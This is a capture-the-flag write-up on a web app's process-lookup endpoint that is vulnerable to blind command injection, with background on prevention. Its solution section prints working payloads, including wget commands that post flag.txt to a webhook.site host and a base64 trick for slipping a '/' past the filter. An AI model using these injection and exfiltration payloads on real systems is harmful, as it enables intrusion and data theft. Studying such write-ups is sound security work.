Hacker System Monitor

Luigi Dell'Eva, 03/03/2024.

Background

The challenge was presented through a web application designed to offer real-time system performance insights. These included CPU, RAM, and disk utilization, the number of active processes, and the operating system in use. Additionally, the application provided a list of all running processes.

The user interface provided an input field, in which the user could enter a name of any process running on the system, and upon submission the application would return the process ID (PID) [1]. This request was handled through an Application Programming Interface (API) [2] using a GET request through the endpoint `/pid/${processName}`.

Command injection, also known as shell injection, is a class of vulnerability that allows an attacker to execute arbitrary commands on the host operating system via a vulnerable application. This vulnerability typically arises when an application passes unsafe user-supplied data (e.g. from forms, cookies, HTTP headers) to a system shell without proper validation or sanitization. The attacker can extend the default functionality of the application, which executes system commands, through the concatenation of shell commands. The consequences of command injection can be severe, including full compromise of the application and its data, and potential compromise of other parts of the hosting infrastructure. An attacker might also exploit trust relationships to pivot the attack to other systems within the organization. [3,4]

Preventing command injection vulnerabilities primarily involves avoiding the execution of OS commands from application-layer code whenever possible. If OS commands must be executed with user-supplied input, strong input validation is crucial. This includes validating against a whitelist of permitted values, ensuring the input is a number, or validating that the input contains only alphanumeric characters with no other syntax or whitespace. It's important to never attempt to sanitize input by escaping shell metacharacters, as this approach is error-prone and can be bypassed by skilled attackers. [4]

Vulnerability

Blind command injection is a specific type of command injection where the application does not return the output from the injected command within its HTTP response. Despite this, blind vulnerabilities can still be exploited using various techniques, such as time delays to confirm command execution, redirecting output to a file that can be accessed through the web, or using out-of-band (OAST) techniques to trigger network interactions with a system controlled by the attacker. [4]

Solution

I verified that the user input was not properly sanitized by utilizing a command separator (`;`) to execute a second command. This allowed me to execute arbitrary commands on the server, as shown in the following example:

```
python; echo 123
```

I nodiced that the application instead of returning the PID of the process `python`, it returned `123`. This indicated that the application was vulnerable to command injection. However, the limitation of returning only number values made it impossible to retrieve the Flag which is alphanumerical. Hence, I verified if Blind Command Injection was possible:

```
python; ping -c 10 127.0.0.1
```

This time, the application returned an error message, but the response delay indicated that the command was executed. So I tried to use a webhook [5] through `wget` command:

```
python; wget https://webhook.site/<webhook_id> --post-file=flag.txt
```

The problem was that through the use of the character `/` the application returned an error message, this was mainly due to the fact that the application was only getting as input the string after the last `/` character. In order to bypass this limitation, I used the `echo` command together with the `|` operator to redirect the string "Lw==", which is the base64 encoding for `/`, to the `base64 -d` command [6], which decodes the Base64 string into its original form. All together with the command substitution operator `$(...)`:

```
python; wget webhook.site$(echo "Lw==" | base64 -d)de13d31f-68a7-4ccb-a331-67a178232838 --post-file=flag.txt
```

References

[1] PID: https://www.ibm.com/docs/en/ztpf/2019?topic=process-id

[2] APIs: https://www.ibm.com/topics/api

[3] OWASP Command Injection: https://owasp.org/www-community/attacks/Command_Injection

[4] PortSwigger Blind Command Injection: https://portswigger.net/web-security/os-command-injection

[5] WebHook: https://webhook.site

[6] Base64 command: https://docs.oracle.com/cd/E19623-01/820-6171/base64.html